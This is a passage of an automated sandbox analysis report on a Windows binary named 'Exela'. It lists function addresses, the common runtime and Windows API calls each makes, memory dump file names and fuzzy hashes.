Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: c83329a2bd18a21367976a5c4af3d00e11dcc87eb128c326a6acb0b8d0e7847d
Instruction ID: a8c76727d0affa5e5922a03d35cc7f15c58879e681b0394042736b0d32b8a287
Opcode Fuzzy Hash: c83329a2bd18a21367976a5c4af3d00e11dcc87eb128c326a6acb0b8d0e7847d
Instruction Fuzzy Hash: 3D518E23F146418AFB14EF78D5923BD3BB1AB48B58F104135EE0DA7689DF39D482870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A75CE0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A75D0D
CreateFileW.KERNELBASE ref: 00007FF6E3A75D4C
CloseHandle.KERNEL32 ref: 00007FF6E3A75D81

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 381f375d345d967458512f251a74178214fc3b76ffcff344aa252820e57b685e
Instruction ID: 97c3ce348e13a9c13b40963debefc813bde32483da6187560ff053d82bc783e8
Opcode Fuzzy Hash: 381f375d345d967458512f251a74178214fc3b76ffcff344aa252820e57b685e
Instruction Fuzzy Hash: F741E223F1878283F754DB2495893A96B60FF94764F108334EA9C53ADAEF7DA4E08705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6C1BC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A6C38C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6E3A6C3A0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6E3A6C1E0
__scrt_release_startup_lock.LIBCMT ref: 00007FF6E3A6C24E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6E3A6C2A1

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 6002dbd076ae4a566e525ae88fd814f4055e3f1a47a00f0f8b84c6ff89a8b974
Instruction ID: 7e00102f89bc069b5c3b280006a18c2519e043099248c1a4d5b19a720d234871
Opcode Fuzzy Hash: 6002dbd076ae4a566e525ae88fd814f4055e3f1a47a00f0f8b84c6ff89a8b974
Instruction Fuzzy Hash: BC313C23B2824355FA24BBAC94573B93A819F51784F445435E90FE72E7DE2EA4C4860B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7A5A0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6E3A7A59C), ref: 00007FF6E3A7A5B1
TerminateProcess.KERNEL32(?,?,?,00007FF6E3A7A59C), ref: 00007FF6E3A7A5BC
ExitProcess.KERNEL32 ref: 00007FF6E3A7A5CB

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction ID: 525fb7a1783129fa7d2a91f955024642ff836034a8f207b53b0374a1fc889311
Opcode Fuzzy Hash: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction Fuzzy Hash: DDD09E12B1868252EB143F7868DF27C5B616F48781F001438E85BB63D7CD3EA8CD474A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF6E3A68BB0

Part of subcall function 00007FF6E3A62C30: MessageBoxW.USER32 ref: 00007FF6E3A62D05

Strings

Security descriptor is not initialized!, xrefs: 00007FF6E3A68B80

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction ID: 7cb4afff0aa05b9826bf1af103a56b213faeaa8b5aeeac908a75d570bec0a65b
Opcode Fuzzy Hash: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction Fuzzy Hash: 60E09B73B2874685EA109B1CE4463697650BB51354F801334E14CE73D4DF3DD1858B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7085C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A708A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A70997

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction ID: 3be0218f7c4cf4cd3b5edbd3180e0474a504879f9240aed5d26249404e16cfab
Opcode Fuzzy Hash: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction Fuzzy Hash: 7651F863B0928186FA24DA3D948277A6B91BF44BA4F044730DDAD977CDCE3ED480860A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7B6FC Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6E3A7B579,?,?,00000000,00007FF6E3A7B62E), ref: 00007FF6E3A7B76A
GetLastError.KERNEL32(?,?,?,00007FF6E3A7B579,?,?,00000000,00007FF6E3A7B62E), ref: 00007FF6E3A7B774

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction ID: 51d6223d77f5a14dd1ff1696ec0c0adb4486b267cdf9c710f6c38bcb537d7be5
Opcode Fuzzy Hash: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction Fuzzy Hash: A5210893F0968241FE50532CE4D73BD1A825F857A0F184234DA2EE73D9CE6EE8C0830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7CCD4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6E3A7CE6D), ref: 00007FF6E3A7CD20
GetLastError.KERNEL32(?,?,?,?,?,00007FF6E3A7CE6D), ref: 00007FF6E3A7CD2A

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction ID: 6ba68cc93cffc0518588929ccdf63b304376bc11eefb0c115dac969e3c93cc13
Opcode Fuzzy Hash: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction Fuzzy Hash: 3611BF62B08B8181DA108B29B885269AB61AB84FF4F580331EA7D977D9CE3DD4908746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A75FDC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A75EF1), ref: 00007FF6E3A7600F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A75EF1), ref: 00007FF6E3A76025

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 32438027c896fc9b7cfa90544aa36bc1c4b0d83a992ad2bd2587f4ad36304ad4
Instruction ID: 0696d51dd3deb1d3e6b3f6425ec6ea57179e87d3bf6aba090ad8e79c0b0b827e
Opcode Fuzzy Hash: 32438027c896fc9b7cfa90544aa36bc1c4b0d83a992ad2bd2587f4ad36304ad4
Instruction Fuzzy Hash: D711917370C64281EB548B19A45223EBB60FB84761F514235F69ED29E8EF2ED095CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7869C Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A78519), ref: 00007FF6E3A786BF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A78519), ref: 00007FF6E3A786D5

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: c01ff3a2a11960581671d504f9b8c47b5ef938e1e8c71af115ecd984c59071e9
Instruction ID: 2b42f271bf8d73f4d414d86f889027922c9069b1850099a7a8902fe15451357a
Opcode Fuzzy Hash: c01ff3a2a11960581671d504f9b8c47b5ef938e1e8c71af115ecd984c59071e9
Instruction Fuzzy Hash: 39018223A0C65182E7549F19A44637EBBA1FB81761F600235E6A9919D8EF3ED090CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7B4EC Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B502
GetLastError.KERNEL32(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B50C

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction ID: af79109f6b9b9405568cfa80ffd82815ff79387e049488905fc0242b846503e9
Opcode Fuzzy Hash: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction Fuzzy Hash: 0CE08693F0924242FF186BB994CB2751B619F88741F444034D80EE6295EE3E68D5470A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A78C88 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF6E3A78C8C
GetLastError.KERNEL32 ref: 00007FF6E3A78C96

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction ID: a035b7accc96157a13937dd32506f940c1c93c4e117772c0e3996cbb28be3f85
Opcode Fuzzy Hash: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction Fuzzy Hash: D9D0C912F2A54382F61837BE1C8F23919A46F84721F500630C019E11D4EE2EA1C50A4B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A78404 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF6E3A78408
GetLastError.KERNEL32 ref: 00007FF6E3A78412

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction ID: 8d2449defac2cfd4215f8121e32bd11ebfecdfc8773856804e20360c3c312e6e
Opcode Fuzzy Hash: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction Fuzzy Hash: 14D0C916F1D54382F65837B918CB33919A45F64721F500630C419E01E5EE5EA0C5170B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A67D40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

_findclose.LIBCMT ref: 00007FF6E3A67F99

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 48f146a0b58ba69d35d10fb74dcf7020fe44260969c36ff7d18f8529940cc898
Instruction ID: 32942c6788761452422d03bb448c00983e2630c62e5ceb45e9ccafa5d0245fb1
Opcode Fuzzy Hash: 48f146a0b58ba69d35d10fb74dcf7020fe44260969c36ff7d18f8529940cc898
Instruction Fuzzy Hash: 5D71CE53E28AC581E610CB2CC5063FD7360F7A8B48F54E321CB9D62592EF2AE2C9C304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7CA4C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A7CA74

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction ID: fa0b70160c37c9b9a0904e1e5342ee49dd027dd508fe76c5b5684c08ba3f70d0
Opcode Fuzzy Hash: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction Fuzzy Hash: C141B733B0824187EA24DB2DA5823797BA1EB55B51F100131E68EE36D9CF2EE482C756

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A682B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6E3A6835A

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 74e55369d5d94215d6d8331dab949902abf0a56bc99a5b7e0c119ac4b97a7665
Instruction ID: 7eb4ad7317645743fdf1a79fd4a606b49f9791e4b7f433f7a1fa262679714117
Opcode Fuzzy Hash: 74e55369d5d94215d6d8331dab949902abf0a56bc99a5b7e0c119ac4b97a7665
Instruction Fuzzy Hash: 1421EA63B1835146FA109B1E69467FABA59BF85BC4F8C4030EE0D97786CE7EE081C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7C4DC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A7C562

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction ID: 4b50d078dd95311decbef93b3c1494f4260f32b796e2210d84ddf14d25861f95
Opcode Fuzzy Hash: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction Fuzzy Hash: E9318063F1864286E615AB5D88C73792F60AF40B94F410235EA1DA73D6CE7FE4C1871A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7A4D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6E3A7A4FF

Part of subcall function 00007FF6E3A7A5F8: GetModuleHandleExW.KERNEL32 ref: 00007FF6E3A7A61D
Part of subcall function 00007FF6E3A7A5F8: GetProcAddress.KERNEL32 ref: 00007FF6E3A7A633
Part of subcall function 00007FF6E3A7A5F8: FreeLibrary.KERNEL32 ref: 00007FF6E3A7A65A

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
